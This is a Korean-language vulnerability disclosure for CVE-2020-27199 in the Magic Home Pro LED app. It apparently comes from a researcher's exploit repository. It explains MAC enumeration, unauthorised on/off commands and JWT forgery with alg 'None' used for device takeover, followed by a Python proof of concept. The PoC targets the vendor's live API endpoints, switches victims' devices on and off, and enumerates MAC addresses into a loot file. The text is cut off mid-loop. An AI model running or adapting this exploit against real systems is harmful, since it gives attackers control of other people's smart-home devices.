
CVE-2020-27199

Magic Home Pro 모바일 애플리케이션에서 여러 취약점이 발견되었으며, 이 애플리케이션은 JadeHomic LED 스트립 RGB 키트와 인터페이스하는 데 사용됩니다. 이 중 가장 중요한 취약점은 인증 우회(CVE-2020-27199) 취약점으로, 궁극적으로 피해자의 전체 장치 그룹을 완전히 장악하고 제어할 수 있게 합니다.
magichome-forge.py - JWT Forger, 장치 탈취 자동화에 사용됨
magichome-sniffer.py - 취약한 장치를 찾기 위해 네트워크를 검색하는 로컬 네트워크 스니퍼. 공격을 실행할 수 있는 장치 목록을 구축합니다.
magichome-switch.py - 장치를 켜는 기능을 제공합니다.
magichome-takeover.py - 사용자 계정의 성공적인 탈취를 가능하게 하는 페이로드
Suzhou SmartChip Semiconductor Co.,Ltd
이 취약점은 인증된 사용자가 자신의 현재 인증 수준을 사용하여 /app/getBindedUserListByMacAddress/ZG001?macAddress=<mac address> API 호출을 통해 자신의 등록된 제품에 속하지 않는 엔드포인트를 조회할 수 있게 합니다. 그러면 HTTP 응답으로 엔드포인트의 존재 여부를 나타내고 해당 엔드포인트의 사용자 이름, 사용자 고유 식별자(userUniID) 및 바인딩된 고유 ID(bindedUniID)를 반환합니다.
위의 조회를 사용하여 공격자는 새로 열거된 MAC 주소를 사용하여 API /app/sendCommandBatch/ZG001에 대한 승인되지 않은 POST 요청을 통해 호환되는 16진수 명령 71230fa3 및 71240fa4를 사용하여 원격 엔드포인트에 ON 및 OFF 명령을 각각 보낼 수 있습니다.
초기 열거가 완료된 후, JWT 페이로드 데이터 내의 userID 및 uniID를 사용하여 JWT를 위조할 수 있으며, 이는 사실상 JWT 헤더 섹션에서 알고리즘으로 'None'을 사용하도록 토큰을 다운그레이드하는 것입니다(서명 우회 취약점). 이 취약점을 사용하여 공격자는 원격 API 호출 /app/shareDevice/ZG001을 통해 friendUserID JSON 매개변수를 사용하여 장치를 공격자의 장치 목록에 추가하여 엔드포인트 장치를 완전히 제어할 수 있습니다.
Credit(s):
OUI는 조직에 등록된 MAC 주소에 대한 조직 고유 식별자를 나타냅니다. JadeHomic의 경우 매직 OUI는 C8:2E:47이며, 여기서 첫 번째 3바이트는 제조업체에 해당하고 두 번째 3바이트는 제조업체가 할당한 일련 번호에 해당합니다. 우리의 경우 제조업체 식별자는 Suzhou SmartChip Semiconductor Co., LTD에 등록되어 있습니다.
Magic Home Pro 모바일 애플리케이션의 인증 우회를 가능하게 하여 피해자 사용자의 전체 장치 그룹을 완전히 제어할 수 있습니다.
PoC는 MAC 범위 내의 마지막 바이트를 열거하고 결과를 반환합니다. 용기가 있다면 '원격 실행'을 테스트할 수 있습니다.``` import requests import json import os from colorama import init from colorama import Fore, Back, Style import re
'''
global found_macaddresses found_macaddresses = [] global outtahere outtahere = "" q = "q" global token
def turnOn(target, token):
urlOn = "https://wifij01us.magichue.net/app/sendCommandBatch/ZG001"
array = {
"dataCommandItems":[
{"hexData":"71230fa3","macAddress":target}
]
}
data = json.dumps(array)
headersOn = {
"User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",
"Accept-Language": "en-US",
"Accept": "application/json",
"Content-Type": "application/json; charset=utf-8",
"token":token,
"Host": "wifij01us.magichue.net",
"Connection": "close",
"Accept-Encoding": "gzip, deflate"
}
print (Fore.WHITE + "[+] Sending Payload ...")
response = requests.post(urlOn, data=data, headers=headersOn)
if response.status_code == 200:
if "true" in response.text:
print (Fore.GREEN + "[*] Endpoint " + Style.RESET_ALL + f"{target}" + Fore.GREEN + " Switched On")
else:
print (Fore.RED + "[-] Failed to switch on Endpoint " + Style.RESET_ALL + f"{target}")
def turnOff(target, token):
urlOff = "https://wifij01us.magichue.net/app/sendCommandBatch/ZG001"
array = {
"dataCommandItems":[
{"hexData":"71240fa4","macAddress":target}
]
}
data = json.dumps(array)
headersOff = {
"User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",
"Accept-Language": "en-US",
"Accept": "application/json",
"Content-Type": "application/json; charset=utf-8",
"token":token,
"Host": "wifij01us.magichue.net",
"Connection": "close",
"Accept-Encoding": "gzip, deflate"
}
print (Fore.WHITE + "[+] Sending Payload ...")
response = requests.post(urlOff, data=data, headers=headersOff)
if response.status_code == 200:
if "true" in response.text:
print (Fore.GREEN + "[*] Endpoint " + Style.RESET_ALL + f"{target}" + Fore.GREEN + " Switched Off")
else:
print (Fore.RED + "[-] Failed to switch on Endpoint " + Style.RESET_ALL + f"{target}")
def lighItUp(target, token):
outtahere = ""
q = "q"
if len(str(target)) < 12:
print (Fore.RED + "[!] Invalid target" + Style.RESET_ALL)
elif re.match('[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}$', target.lower()):
while outtahere.lower() != q.lower():
if outtahere == "0":
turnOn(target, token)
elif outtahere == "1":
turnOff(target, token)
outtahere = input(Fore.BLUE + "ON/OFF/QUIT ? (0/1/Q): " + Style.RESET_ALL)
def Main(): urlAuth = "https://wifij01us.magichue.net/app/login/ZG001"
data = {
"userID":"<Valid Registered Email/Username>",
"password":"<Valid Registered Password>",
"clientID":""
}
headersAuth = {
"User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",
"Accept-Language": "en-US",
"Accept": "application/json",
"Content-Type": "application/json; charset=utf-8",
"Host": "wifij01us.magichue.net",
"Connection": "close",
"Accept-Encoding": "gzip, deflate"
}
# First Stage Authenticate
os.system('clear')
print (Fore.WHITE + "[+] Authenticating ...")
response = requests.post(urlAuth, json=data, headers=headersAuth)
resJsonAuth = response.json()
token = (resJsonAuth['token'])
# Second Stage Enumerate
print (Fore.WHITE + "[+] Enumerating ...")
macbase = "C82E475DCE"
macaddress = []
a = ["%02d" % x for x in range(100)]
for num in a:
macaddress.append(macbase+num)
with open('loot.txt', 'w') as f:
for mac in macaddress:
urlEnum = "https://wifij01us.magichue.net/app/getBindedUserListByMacAddress/ZG001"
params = {
"macAddress":mac
}